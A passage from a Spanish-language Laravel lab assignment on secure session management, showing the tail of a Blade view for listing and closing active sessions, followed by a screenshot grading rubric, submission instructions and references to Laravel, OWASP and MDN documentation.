                <p class="text-sm text-gray-500">
                    IP: {{ $s->ip_address }} &middot;
                    {{ $s->last_active_at }}
                </p>
            </div>
            @unless($s->is_current)
            <form method="POST"
                action="{{ route('sessions.destroy', $s->id) }}">
                @csrf
                @method('DELETE')
                <button type="submit"
                    class="text-red-500 hover:text-red-700 text-sm">
                    Cerrar
                </button>
            </form>
            @endunless
        </div>
    </div>
    @endforeach

    <hr class="my-6">

    <form method="POST"
        action="{{ route('sessions.destroyOthers') }}">
        @csrf
        @method('DELETE')
        <label class="block text-sm font-medium mb-1">
            Contraseña actual
        </label>
        <input type="password" name="password"
            class="border rounded p-2 w-full mb-2" required>
        @error('password')
            <p class="text-red-500 text-sm">{{ $message }}</p>
        @enderror
        <button type="submit"
            class="bg-red-500 text-white px-4 py-2 rounded">
            Cerrar todas las demás sesiones
        </button>
    </form>
</div>

```

```
@endsection
```

Captura 8: Vista de sesiones activas mostrando al menos 2 sesiones (una marcada como "Esta sesión").

4. Rúbrica de Evaluación

Criterio	Puntos
Captura 1	10
Captura 2	10
Captura 3	10
Captura 4	10
Captura 5	10
Captura 6	10
Captura 7	20
Captura 8	20
TOTAL	80

5. Instrucciones de Entrega

Informa en formato PDF, las tabla de rúbrica de evaluación al inicio y posteriormente las capturas de pantalla indicando que representa la captura de pantalla adjunta.

6. Referencias

Laravel 13 — HTTP Session. <https://laravel.com/docs/13.x/session>

Laravel 13 — CSRF Protection. <https://laravel.com/docs/13.x/csrf>

OWASP — Cross-Site Request Forgery. <https://owasp.org/www-community/attacks/csrf>

OWASP — Session Fixation. https://owasp.org/www-community/attacks/Session_fixation

OWASP — Session Management Cheat Sheet.
https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html

MDN Web Docs — Set-Cookie. <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie>